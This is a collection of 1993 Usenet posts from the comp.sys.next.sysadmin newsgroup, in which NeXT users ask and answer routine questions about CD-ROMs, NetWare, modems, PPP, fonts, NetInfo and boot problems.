From: pyrros@ulysses.att.com (Christos T. Pyrros) Newsgroups: comp.sys.next.sysadmin Subject: Mounting Sun CD-ROMs? Message-ID: <1993Mar8.191621.3033@ulysses.att.com> Date: 8 Mar 93 19:16:21 GMT Organization: AT&T Bell Laboratories, Murray Hill How does one mount a Sun CD-ROM? All Mac, DOS, and Unix disks work fine, but when I put in a sun disk (in this case, the SunPro Development Tools disk) the Workspace just says Disk is Write Protected, and ejects it. Thanks, Chris
Newsgroups: comp.sys.next.sysadmin From: dmm0t@rincewind.mech.virginia.edu (David Meyer) Subject: Re: Netware logout: how? Message-ID: <1993Mar8.183308.7867@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia References: <93067.113120HWTQC@CUNYVM.BITNET> Date: Mon, 8 Mar 1993 18:33:08 GMT In article <93067.113120HWTQC@CUNYVM.BITNET> <HWTQC@CUNYVM.BITNET> writes: >Our sysadmin is departing academia for the real world, and thus really won't >get a chance to deal with this in detail. >Apparently, the only way for a NeXT to break a Netware connection is for the >NeXT to be rebooted. This would be inconvenient under certain circumstances. >Does anyone know of another way to logout from/break a Netware connection? /usr/netware/bin/nwlogout <servername> from a unix shell. Dave -- David M. Meyer Mechanical & Aerospace Engineering dmm0t@rincewind.mech.virginia.edu University of Virginia NeXTmail ok
From: fahnoe@C1MPLS.MN.Org (Larry Fahnoe) Newsgroups: comp.sys.next.sysadmin Subject: Looking for NetInfo directory/property/value documentation Keywords: NetInfo documentation property value Message-ID: <1993Mar8.174702.2527@C1MPLS.MN.Org> Date: 8 Mar 93 17:47:02 GMT Article-I.D.: C1MPLS.1993Mar8.174702.2527 Organization: Cellular One, Minneapolis Hello, After going through the available man pages, bookshelves, and header files, I'm fairly well convinced that NeXT does not ship a concise guide to NetInfo's various directories, properties and their values. Rather than trying to reverse engineer all of the meanings, does anyone know if there is a reference for all of this? Sure there are the Manager applications, but when things have gone awry, or the existing networks do not conform to the assumptions that the Manager applications make, where is a sysadmin supposed to turn? C'mon NeXT, provide us with a few more clues to the tools that you have given us! -- Larry Fahnoe Cellular One IS VAX System Manager 7900 S. Xerxes Ave, Suite 301 612/832-7616 Minneapolis, MN 55431 Internet: fahnoe@c1mpls.mn.org McCaw DECnet: 18435::FAHNOE
From: oleg@gd.cs.csufresno.edu (Oleg Kibirev) Newsgroups: comp.sys.next.sysadmin,comp.sys.sun.admin Subject: fsdb for Sun or Next? Message-ID: <1993Mar8.165655.4392@nic.csu.net> Date: 9 Mar 93 00:56:54 GMT Organization: Computer Science Departement of California State University in Fresno Is there an equivalent of SGI's fsdb that works on Sun or NeXT (or any absolute disk editor for this matter)? Free software prefered, of course. Thanks! Oleg
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: NeXT will not turn OFF!! (yes, OFF) Message-ID: <C3LvwI.Inr@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <1993Mar8.155213.9877@tybrin4.uucp> Date: Tue, 9 Mar 1993 05:14:28 GMT uunet!sci34hub!tybrin4!trey (Trey McClendon) writes: >Hello, >Now that I can post, the 'NeXT will not turn on!!' post reminds me of a >problem with one of the NeXTs here where I work. This slab, one of the >early ones, will not turn off. It will go through the power off sequence >just like any other machine. A relay (??) somewhere will click, the >screen will go black, but then it will mysteriously re-power itself and go >through the testing system... bit. Luckily, this one is easy: Log in as root, start up Preferences. Go to the 'Power' Icon. There will be a pop-up menu which has a selection like 'Startup Options'. There is a checkbox with something like 'turn on after power off'. Uncheck that box. Some machines seem to have been shipped with that turned on. This is a useful features for servers and machines like that. The popup menu is present on machines with the 'clock chip'. This includes all color machines, all turbos, cubes built fairly recently, and mono non-turbo stations manufactured approximately after the color stations started to ship. It does not include 030 cubes with 25 MHz 040 upgrade boards. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: Looking for NetInfo directory/property/value documentation Message-ID: <C3Lvzy.J1r@ux1.cso.uiuc.edu> Keywords: NetInfo documentation property value Organization: University of Illinois at Urbana References: <1993Mar8.174702.2527@C1MPLS.MN.Org> Date: Tue, 9 Mar 1993 05:16:31 GMT fahnoe@C1MPLS.MN.Org (Larry Fahnoe) writes: >Hello, >After going through the available man pages, bookshelves, and header >files, I'm fairly well convinced that NeXT does not ship a concise guide >to NetInfo's various directories, properties and their values. Rather It may not be as thorough as you wish, but I have found netinfo(5) to be relatively complete and accurate. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: soward@slow.inslab.uky.edu (John Soward) Subject: /etc/resolv.conf: search? Message-ID: <C3KFFt.8By@ms.uky.edu> Sender: news@ms.uky.edu (USENET News System) Organization: University Of Kentucky, Dept. of Math Sciences Date: Mon, 8 Mar 1993 10:21:28 GMT I was trying to use the "search" option to get the resolver to try a few different ending before giving up...in normal 4.3BSD (say BSD386 or somthing) one could add a line "search domain domain domain" up to 6 domains and those would then be searched...but this does not seem to be the case under NS3.0.... Anyone know if there is a workaround, etc... thanx, -- ________________________________________________________________________ / 'The midnight sun will burn you up" -The Cure, Piggy in the Mirror / / soward@ms.uky.edu | soward@inslab.uky.edu (NeXT Mail) / /_______________________________________________________________________/
Newsgroups: comp.sys.next.sysadmin From: soward@slow.inslab.uky.edu (John Soward) Subject: Re: pcnfsd for the NeXT Message-ID: <C3KFn4.8Mw@ms.uky.edu> Sender: news@ms.uky.edu (USENET News System) Organization: University Of Kentucky, Dept. of Math Sciences References: <1993Mar2.185120.21972@schbbs.mot.com> Date: Mon, 8 Mar 1993 10:25:51 GMT Jerry DeLuyck writes -> In article <1993Feb26.211253.22916@midway.uchicago.edu> -> sherlock@holmes.bsd.uchicago.edu (John R. Avery) writes: -> > In article <1993Feb25.164213.15398@schbbs.mot.com> -> > o10035@nextphx.corp.mot.com (Jerry DeLuyck) writes: -> > > Has anyone successfully compiled the rpc.pcnfsd (version 2) on the NeXT? -> > NS -> > > 3.0 ships with an rpc.pcnfsd, but alas it is version 1 which leaves out -> > a lot -> > > of features. I missed the original post...but I ported rpc.pcnfsd version 2 to NS3.0 back under pr1...I thought I put it on sonata...but if not it can be found at ftp.inslab.uky.edu:/pub/next/pcnfsd.NeXT.tar.Z this is a source-code dist which may or may not have binary...if not and you need one let me know. -- ________________________________________________________________________ / 'The midnight sun will burn you up" -The Cure, Piggy in the Mirror / / soward@ms.uky.edu | soward@inslab.uky.edu (NeXT Mail) / /_______________________________________________________________________/
From: nevai@mps.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Please recommend me the BEST modem for the NeXT Date: 9 Mar 1993 14:24:46 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1ni9be$4vp@zaphod.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu Right now I use 2 Telebit 2500's in PEP mode from my home Mac to my work CUBE. This setup is now almost 4 years old. Still works at 19,200 though kermit downloads aren't as fast as I wish they were. They are also pretty reliable as long as I use them together. Dialing into other modems from my Mac is much less reliable though. When I bought them they very very expensive ($1300 or so). I understand that prices came down quite a bit since then. Can you recommend any better (faster and more reliable) modems for a Mac to CUBE setup? Also, would it be a good investemnt for me to get the latest ROMs for my present Telebits? Please respond by email. Thanks. Take care...Paul Paul Nevai nevai@mps.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: yygold@yadin.phyast.pitt.edu (Yadin Y. Goldschmidt) Newsgroups: comp.sys.next.sysadmin Subject: second scsi drive-help needed Message-ID: <5519@blue.cis.pitt.edu> Date: 9 Mar 93 15:20:02 GMT Sender: news+@pitt.edu I have connected to my Nextstation running 3.0 a second hard drive (dec 1 gB). I have encountered several problems: 1. Following the instructions I added an item in /etc/fstab however the system ignored it and did not mount the disk where I specified but created a directory with the disk label and mounted it there. The files were owned by the person logging on first. Only when I deleted the 'noauto' option in fstab did the system mount the disk where I wanted. What is the correct way to mount the disk? 2. There is no recycler on the second disk and if I try to recycle something I get a warning that it be destroyed. How can I create a recycler? Note that I put the system files on this disk just in case I will need in the future to boot from it, but I do not use it now as a boot disk. 3. I tried to move a user home directory to the second disk by changing his home directory with User manager and copying his files there. But when he tried to log on from the console, instead of his home icon there was a box with a question mark inside. Also preferences does not seem to work properly for example unix expert mode does not take effect. Can anybody help me how to overcome these difficulties? Is it a problem with the drive? with the system? What am I doing wrong? Thank you in advance yygold@yadin.phyast.pitt.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.sun.admin From: erc@khijol.uucp (Ed Carp) Subject: Re: fsdb for Sun or Next? References: <1993Mar8.165655.4392@nic.csu.net> Organization: Computer Security Technologies Date: Tue, 9 Mar 1993 07:05:16 GMT Message-ID: <1993Mar9.070516.11976@khijol.uucp> oleg@gd.cs.csufresno.edu (Oleg Kibirev) writes: : Is there an equivalent of SGI's fsdb that works on Sun or NeXT (or any : absolute disk editor for this matter)? Free software prefered, of course. : Thanks! Try the NET-2 distribution - there's an fsdb in there. Available from gatekeeper.dec.com, among other places. -- Ed Carp erc@apple.com, erc@saturn.upl.com 510/659-9560 "It is your resistance to 'what is' that causes your suffering." -- Buddha
Newsgroups: comp.sys.next.sysadmin From: gbrown@raven.ctr.columbia.edu (Glenn Brown. NeXTmail welcome) Subject: CD-ROM compatibility ($250 NEC CDR-36) Message-ID: <1993Mar9.183431.14661@sol.ctr.columbia.edu> Sender: nobody@ctr.columbia.edu Organization: J. Random Misconfigured Site Date: Tue, 9 Mar 1993 18:34:31 GMT The NEC CDR-36 is 'MPC compliant', has a SCSI interface, is High-Sierra compatible, and only costs about $250. I'm sure it is dog-slow, but is there any chance that it would work with my NeXT? Thanks, --Glenn Brown
From: kline@cs.arizona.edu (Nick Kline) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Anyone using PPP? Message-ID: <34218@optima.cs.arizona.edu> Date: 9 Mar 93 20:13:31 GMT Sender: news@cs.arizona.edu Followup-To: comp.sys.next.sysadmin I'm trying to decide whether to use PPP or slip. Yes, the classic problem. Next at home, sun at work. It looks like it will be very easy to set up PPP on the sun, simply get an IP number, make the program suid and away I go. I've got the pd PPP for the next, version 0.2. Anyone using that on 3.0? I read on the PPP faq that there was a rumor that PPP didn't work on 3.0. Any comments? It seems that the morning star version of PPP is pretty expensive (>$200 even for edu). Anyone have any comments on this? thanks, nick kline@cs.arizona.edu
Newsgroups: comp.sys.next.sysadmin From: karthy@dannug.dk (Karsten Thygesen) Subject: Re: NeXT will not turn on!! In-Reply-To: izumi@pinoko.berkeley.edu's message of 7 Mar 1993 22:03:46 GMT Message-ID: <KARTHY.93Mar9184324@dannug.dannug.dk> Sender: karthy@dannug.dk (Karsten Thygesen) Organization: Dannug - Danish NeXT Users Group References: <KARTHY.93Mar7105931@dannug.dannug.dk> <1ndrg2$3q3@agate.berkeley.edu> Date: Tue, 9 Mar 1993 17:43:24 GMT >>>>> On 7 Mar 1993 22:03:46 GMT, izumi@pinoko.berkeley.edu (Izumi Ohzawa) said: >I have a similar problem. When I turn off the machine and want to turn >it back on again, the monitor (monocrome btw) turn on and the internal >harddisk spins up but there is no picture and no "beep". The solution >is to shortwire - ups - I mean discharge the battery for a short >period - then it works. Izumi> NO, NO, NO. Please don't short the battery itself. That can be very Izumi> dangerous. I hope you really meant shorting the (empty) battery holder Izumi> terminals like David said. Well *gulp* I has to emit that it IS necessary to discharge the battery - the problem is the voltage is simply to high - it has no effect to shortwire the terminals. I think I will try to solve the problem with a little zener diode to keep the voltage down. Karsten. -- Karsten Thygesen I Aalborg, Denmark karthy@dannug.dk (NeXT-Mail welcome) I Voice: +45 98 12 42 59 President, Danish NeXT Users Group I Fax: +45 98 12 44 81
From: rane+@cs.cmu.edu (Aaron Hughes) Newsgroups: comp.sys.next.sysadmin Subject: 3.0 Upgrades are beginning to irritate me Message-ID: <C3n9EJ.57H.2@cs.cmu.edu> Date: 9 Mar 93 23:03:53 GMT Article-I.D.: cs.C3n9EJ.57H.2 Sender: news@cs.cmu.edu (Usenet News System) Organization: School of Computer Science, Carnegie Mellon Ya know - I've upgraded about 30 machines in the last 2 months or so and I just did another one today. The thing that's pissing me off is that every coupla machines will fail the upgrade in some bizarre way, even though the upgrade app says that disk was successfully upgraded. I've had several machines unable to find the Windowserver port (the one I did today has that problem in fact, and I still haven't been able to fix it). Others have had the keyboard directory contents in /NextLibrary disappear (or never show up). The directory is there, but it is empty. This is really beginning to irritate me - is there a solution to this? I've tried several different CDROMS but I get the same errors. As for the machine I did today, it can't find the WindowServer Port. I replaced all of /usr/lib/NextStep from my machine (1st one I did and works perfectly) and it still doesnt want to come up. Any suggestions? Thanks, Aaron -- Aaron Hughes DoD#0482 The Freedom Junkie rane+@pulsar.fac.cs.cmu.edu Bad cop. No donut.
From: danno@css.itd.umich.edu (Daniel T. Pritts) Newsgroups: comp.sys.next.sysadmin Subject: Re: /etc/resolv.conf: search? Date: 10 Mar 1993 02:55:52 GMT Organization: University of Michigan - ITD Consulting and Support Message-ID: <1njlboINNlbv@stimpy.css.itd.umich.edu> References: <C3KFFt.8By@ms.uky.edu> In article <C3KFFt.8By@ms.uky.edu> soward@slow.inslab.uky.edu (John Soward) writes: > > I was trying to use the "search" option to get the resolver to try a few > different ending before giving up...in normal 4.3BSD (say BSD386 or somthing) > one could add a line "search domain domain domain" up to 6 domains and those I don't think this is a standard 4.3bsd feature, although I have seen it on a sun. I don't think you can do it with the NeXT distribution. If you find a solution, please post. -- dan pritts consultant/system administrator dan.pritts@umich.edu um itd/css unix support group 313/998-6265
From: zmonster@athena.mit.edu (Eric M Hermanson) Newsgroups: comp.sys.next.sysadmin Subject: Please help with disk eject problem! Date: 10 Mar 1993 03:24:51 GMT Organization: Massachusetts Institute of Technology Distribution: world Message-ID: <1njn23INNdd9@senator-bedfellow.MIT.EDU> I have a Turbo color station that wont eject floppy disks when certain users are logged in. The 'root' and 'me' accounts work fine, but when I log into my personal account and insert a floppy, I cannot eject the floppy until I log out, and it automatically ejects. My personal account is in the groups staff, wheel, and other. Also, I have noticed that when I log in, the CONSOLE indicates a message like: make_services: someone else is making services Could this be the source of the error? Or, maybe I don't have the proper permissions or something for the floppy device?? Thanks, Eric
Newsgroups: comp.sys.next.sysadmin From: mark@cyantic.com (Mark T. Dornfeld) Subject: Re: Mounting Sun CD-ROMs? Organization: CYANTIC Systems Date: Tue, 09 Mar 1993 22:53:57 GMT Message-ID: <1993Mar09.225357.9335@cyantic.com> References: <1993Mar8.191621.3033@ulysses.att.com> In article <1993Mar8.191621.3033@ulysses.att.com> pyrros@ulysses.att.com writes: >How does one mount a Sun CD-ROM? All Mac, DOS, and Unix disks work fine, >but when I put in a sun disk (in this case, the SunPro Development Tools >disk) the Workspace just says Disk is Write Protected, and ejects it. Sorry, this isn't the answer, but I've posted this question before and have not gotten any useful information. I think there is some difference in block size on the Sun CD's that may be part of the problem (1024 vs 512). Is this possible? -- Mark T. Dornfeld Voice: (416) 234-9048 CYANTIC Systems Facsimile: (416) 234-0477 101 Subway Crescent Suite 2103 Email: mark@cyantic.com
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: NeXT will not turn on!! Message-ID: <C3nn5L.GvA@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <KARTHY.93Mar7105931@dannug.dannug.dk> <1ndrg2$3q3@agate.berkeley.edu> <KARTHY.93Mar9184324@dannug.dannug.dk> Date: Wed, 10 Mar 1993 04:00:43 GMT karthy@dannug.dk (Karsten Thygesen) writes: >Well *gulp* I has to emit that it IS necessary to discharge the >battery - the problem is the voltage is simply to high - it has no >effect to shortwire the terminals. You will see the effect when that battery explodes in your hand and you no longer have fingers. They aren't kidding when they write 'do not discharge or throw into open fire' on batteries, ESPECIALLY lithium batteries like those found in your NeXT. >I think I will try to solve the problem with a little zener diode to >keep the voltage down. Or, buy a battery that isn't flawed... Hopefully, if you know enough to know that a zener will help you, you will know how to wire it up properly so that the battery isn't shorted. :-) -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin From: Monty Solomon <monty%roscom@think.com> Subject: Memory fault Message-ID: <1993Mar10.035702.8003@proponent.com> Followup-To: comp.sys.next.programmer Sender: monty@proponent.com (Monty Solomon) Organization: Proponent Date: Wed, 10 Mar 1993 03:57:02 GMT How can I track down the cause of a Memory fault when trying to do a build on a Turbo running 3.0? Is this a hardware problem? Here is some sample output. 103% make debug sh: 154 Memory fault *** Exit 139 Stop. 104% Thanks. -- # Monty Solomon / PO Box 2486 / Framingham, MA 01701-0405 # monty%roscom@think.com
Newsgroups: comp.sys.next.sysadmin From: ah@fml.tuwien.ac.at (Andreas Haleger) Subject: Re: mount: / not found Message-ID: <1993Mar10.113514.6178@email.tuwien.ac.at> Sender: news@email.tuwien.ac.at Organization: Technical University of Vienna References: <1993Mar6.150553.26151@ens.fr> Date: Wed, 10 Mar 1993 11:35:14 GMT In article <1993Mar6.150553.26151@ens.fr> dicosmo@dmi.ens.fr (Roberto DiCosmo) writes: > In article <1m3cveINN9bb@au-ns.american.edu> carlos@american.edu (Carlos Li) > writes: > > booting to single user, the /dev/sd0a seems to get mounted as read-only, > > so I cannot modify anything, like in /etc/fstab. > a) reinstall the system files from scratch (using the CD-rom) > (this makes you loose the local configuration ...) > > b) restore older copies of fstab, rc, rc.local, reload the netinfo > entries for fstab from scratch (i.e. niload -d fstab . < /dev/null, > then niload fstab . < /etc/fstab) and some other tweaking ... > > I would REALLY appreciate a real solution (i.e. an explanation > plus a recovery procedure) You don't have to do that. Just say mount -o remount,rw filesystem .... This will remount your file system and you don't need write permission. -- == Andreas == Wir entschuldigen uns fuer die Strapazen (Douglas Adams). NeXTmail accepted.
From: andrew@cubetech.com (Andrew Loewenstern) Newsgroups: comp.sys.next.sysadmin Subject: Re: Netware logout: how? Date: 9 Mar 1993 23:48:54 -0600 Organization: Cube Technologies, Inc Message-ID: <1njvg6$fq6@imladris.cubetech.com> References: <93067.113120HWTQC@CUNYVM.BITNET> <1993Mar8.183308.7867@murdoch.acc.Virginia.EDU> In article <1993Mar8.183308.7867@murdoch.acc.Virginia.EDU> dmm0t@rincewind.mech.virginia.edu (David Meyer) writes: >In article <93067.113120HWTQC@CUNYVM.BITNET> <HWTQC@CUNYVM.BITNET> writes: >>Apparently, the only way for a NeXT to break a Netware connection is for the >>NeXT to be rebooted. This would be inconvenient under certain circumstances. >>Does anyone know of another way to logout from/break a Netware connection? > /usr/netware/bin/nwlogout <servername> >from a unix shell. An easier way is to fire up NetWare manager, select your server and click the deauthenticate menu choice. <Begin Gripe> It is silly that NeXTSTEP does not deauthenticate and detach you from connected NetWare servers automatically when you log out. Besides the fact that if your NeXT account is compromised, so do all of your connected and authenticated NetWare accounts, NetWare is licensed by the number of current connections. Many companies just don't have the connections to spare so NeXT users can sit there and idle away. Yes, eventually the watchdog process on the NetWare server will clear the connection, if that is enabled on the server, but that isn't an excuse. <End Gripe>
From: andrew@cubetech.com (Andrew Loewenstern) Newsgroups: comp.sys.next.sysadmin Subject: Re: Anyone using PPP? Date: 9 Mar 1993 23:54:45 -0600 Organization: Cube Technologies, Inc Message-ID: <1njvr5$fr7@imladris.cubetech.com> References: <34218@optima.cs.arizona.edu> In article <34218@optima.cs.arizona.edu> kline@cs.arizona.edu (Nick Kline) writes: >It seems that the morning star version of PPP is pretty expensive >(>$200 even for edu). Anyone have any comments on this? We use Morning Star PPP and it's great. We paid $400 (we aren't edu...), but considering the level of support you get from Morning Star, it's worth it. It's very reliable, the performance is good, and the security options are excellent. It also provides SLIP compatibility as well, BTW. I highly reccommend it. The only drawback is that it doesn't have a sexy interface like Marble Teleconnect. However, I feel the other features more than make up for it (especially since it's easy to setup without the nice interface and Morning Star will help you). andrew <definitely not paid by Morning Star to say this>
From: nevai@mps.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Re: Please recommend me the BEST modem for the NeXT Date: 10 Mar 1993 18:07:12 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1nlaog$rh1@zaphod.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu I asked for suggestions for the BEST modem for the NeXT, and I rec'd about 10 responses. Thanks to all of you who wrote me (I will not acknowledge it individually - I hope this is OK). SUMMARY of recommended modems: Telebit WorldBlazer (Turbo PEP) ROM upgrades (set registers for max throughput) ZyXEL U1496E with NXFax combination Supra V.32bis QUESTION: is the Telebit WorldBlazer different from the Telebit 2500? If yes, is it worth buying two to replace two existing 2500's? Take care...Paul Paul Nevai nevai@mps.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: iwelch@agsm.ucla.edu (Ivo Welch) Subject: .pfb Font Installation Message-ID: <1993Mar10.083606.19577@mic.ucla.edu> Followup-To: comp.sys.next.sysadmin Organization: UCLA, Anderson Graduate School Of Management Date: 10 Mar 93 08:36:06 PST I have bought a rather nice set of fonts from SoftMaker, called infiniType, containing 124 typefaces for a discount price of about $60. These fonts are advertised in a number of magazines as Adobe Type-1 postscript fonts for windows and other programs. (SoftMaker's phone is 619-929-6030; please don't ask me for a more detailed description.) I have already figured out that their installation produces .pfb and .afm files. I understand that I have to look at the afm file to find out the font name, create a .font directory under /LocalLibrary/Fonts with that name, rename the .pfb and .afm file to this font name, remove the .pfb extension, and run buildafmdir. To check if this works, I then run Edit.app. I can see the new font as an entry in the font panel, together with its sizes. Unfortunately, the font used/displayed-in-font-panel is not the right font. Instead, it appears to be Helvetica 12pt. A larger font size is recognized by Edit.app in that large spaces are left blank above and below the 12pt Helvetica characters. What am I doing wrong? /ivo
Newsgroups: comp.sys.next.sysadmin From: btf64@cas.org () Subject: Newbie questions on installing Zyxel 1496e modem Message-ID: <1993Mar10.132926.879@cas.org> Sender: usenet@cas.org Organization: Chemical Abstracts Service, Columbus, Ohio Distribution: na Date: Wed, 10 Mar 1993 13:29:26 GMT Hi Folks, I've just purchased a Zyxel 1496e modem. I am an absolute neophyte when it comes to UNIX communications, and really have no idea where to start. I've connected all the hardware, but have no idea of any file changes I need to make to use the modem with tip for remote logins. I've browsed the /etc/remote file, and I'm guessing all I need to change is the baud rate on the entry which states "Dial-out on cua..". I also have no idea what modem profiles indicate, other then they represent the AT command set. Do I need to concern myself with these? Where do I set the parity? Do I need to modify the L.sys file for tip use? Any help would be greatly appreciated!! Thanks!!! -- Bernie (btf64@cas.org)
Newsgroups: comp.sys.next.sysadmin From: verket@venice.sedd.trw.com (Paul Verket) Subject: Re: Mounting Sun CD-ROMs? Message-ID: <1993Mar10.212356.19052@venice.sedd.trw.com> Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA References: <1993Mar8.191621.3033@ulysses.att.com> Date: Wed, 10 Mar 1993 21:23:56 GMT Christos T. Pyrros (pyrros@ulysses.att.com) wrote: : How does one mount a Sun CD-ROM? All Mac, DOS, and Unix disks work fine, : but when I put in a sun disk (in this case, the SunPro Development Tools : disk) the Workspace just says Disk is Write Protected, and ejects it. For 98% of Sun CDs, the answer is "you can't". When Sun initially produced their demo CDrom, it was in a standard format that any machine (Mac, NeXT, etc) could mount. Since then, they (like NeXT) don't encode the CDs in a standard format but instead in the same unix format as their hard disks. Since these formats are slightly different between different unixs you're out of luck. In Sun's case, it makes the average joe's life easier because he doesn't have to "specify" the disk format as it defaults to Sun's own. Paul Verket (NeXTmail ok)
Newsgroups: comp.sys.next.sysadmin From: roberto@arrocha.charlotte.nc.us (Roberto Arrocha) Subject: One machine, two domains: how? Message-ID: <1993Mar9.144621.589@arrocha.charlotte.nc.us> Keywords: NeXT Sender: roberto@arrocha.charlotte.nc.us Organization: Roberto E. Arrocha Date: Tue, 9 Mar 1993 14:46:21 GMT As the subject line describes, I have the task of adding a second domain (newDomain.COM) to our current US domain. We would like to have all mail forwarded to this one NeXT machine (arrocha) by our mail forwarder UUNET, via uucp. This machine should then sort and distribute mail to user accounts w/in the same machine. user1@newDomain.COM ------------ --> user1 user1@arrocha.charlotte.nc.us -- --> user1 --> arrocha -- user2@newDomain.COM ------------ --> user2 user2@arrocha.charlotte.nc.us -- --> user2 The question is, how do I modify sendmail, uucp and our NetInfo data to accomodate the new domain? In sendmail.mailhost.cf, for example, we have: # local domain name Dmcharlotte.nc.us What about NetInfo? All help and suggestions welcomed. Thanks. -- Roberto NeXTmail: roberto@arrocha.charlotte.nc.us
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: claus@tpki.toppoint.de (Claus Greve) Subject: co-Xist + NeXTDimension + Khoros = fast enough??? Message-ID: <1993Mar9.211411.3646@greve.toppoint.de> Sender: claus@greve.toppoint.de Organization: sBANG Date: Tue, 9 Mar 93 21:14:11 GMT Hi, does anyone have experience with this configuration ? Is it practicable for image processing? The people from Pencom told me that co-Xist on the NextDimension is (much ?) slower than on a Colorstation. Your answer would be greatly appreciated. -- Claus Greve email: claus@tpki.toppoint.de Waitzstr.57 phone: ++49-431-563741 2300 Kiel Germany
From: jenkinsonjp@rcwusr.bp.com (John P. Jenkinson) Newsgroups: comp.sys.next.sysadmin Subject: HELP, can't boot with / full Message-ID: <1993Mar10.184617.192@rcwusr> Date: 10 Mar 93 18:46:16 -0600 Organization: BP Exploration (Alaska) help, i'm shookered NeXT won't boot, in rom monitor i see messages like /: file system full IO error on pageout: error = 28. vnode_pageout: failed! i understand the why, i can't get a boot in single user nor in -b to not to rc.boot. how do you recover rom such a situation???
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: iwelch@agsm.ucla.edu (Ivo Welch) Subject: SoftPC Pro .pkg needed Message-ID: <1993Mar10.090608.19954@mic.ucla.edu> Followup-To: comp.sys.next.sysadmin Organization: UCLA, Anderson Graduate School Of Management Distribution: usa Date: 10 Mar 93 09:06:08 PST I bought SoftPC Pro, and received my package. It included a CD-ROM, for which I unfortunately no longer own a drive. Could some kind sould please ftp a locked copy of the .pkg file into my NeXT? (I received my own, private codes to unlock, of course.) Thanks. /ivo welch
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.sysadmin Subject: Re: co-Xist + NeXTDimension + Khoros = fast enough??? Date: 11 Mar 1993 01:01:07 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <1nm30j$avq@agate.berkeley.edu> References: <1993Mar9.211411.3646@greve.toppoint.de> In article <1993Mar9.211411.3646@greve.toppoint.de> claus@tpki.toppoint.de (Claus Greve) writes: >Hi, >does anyone have experience with this configuration ? >Is it practicable for image processing? >The people from Pencom told me that co-Xist on the NextDimension is >(much ?) slower than on a Colorstation. > >Your answer would be greatly appreciated. We found it practically unusable. Doing ls -l, for example, in xterm takes forever to scroll by. See it for yourself. There is a demo for co-Xist 3.0 on the archives. But then, this is the only X server that runs on ND at all, and nobody else has it, so it's not like you have an alternative X for ND. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: co-Xist + NeXTDimension + Khoros = fast enough??? Message-ID: <C3pF12.35D@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University References: <1993Mar9.211411.3646@greve.toppoint.de> Date: Thu, 11 Mar 1993 03:00:36 GMT In article <1993Mar9.211411.3646@greve.toppoint.de> claus@tpki.toppoint.de writes: >Hi, >does anyone have experience with this configuration ? >Is it practicable for image processing? >The people from Pencom told me that co-Xist on the NextDimension is >(much ?) slower than on a Colorstation. Much slower is being too kind. I installed co-Xist 3.0 on a NextDimension running NextStep 3.0. The mother board has 40Mb of RAM, and the ND board has 16 megs. The thing is a dawg. D-O-G. My old 25MhZ cube runs co-Xist *much* faster than on the ND. 'Course, that's just me. Maybe others have had better luck. -rob --- Rob Francis Unix Systems Specialist, Indiana University francisr@indiana.edu (812)855-0327
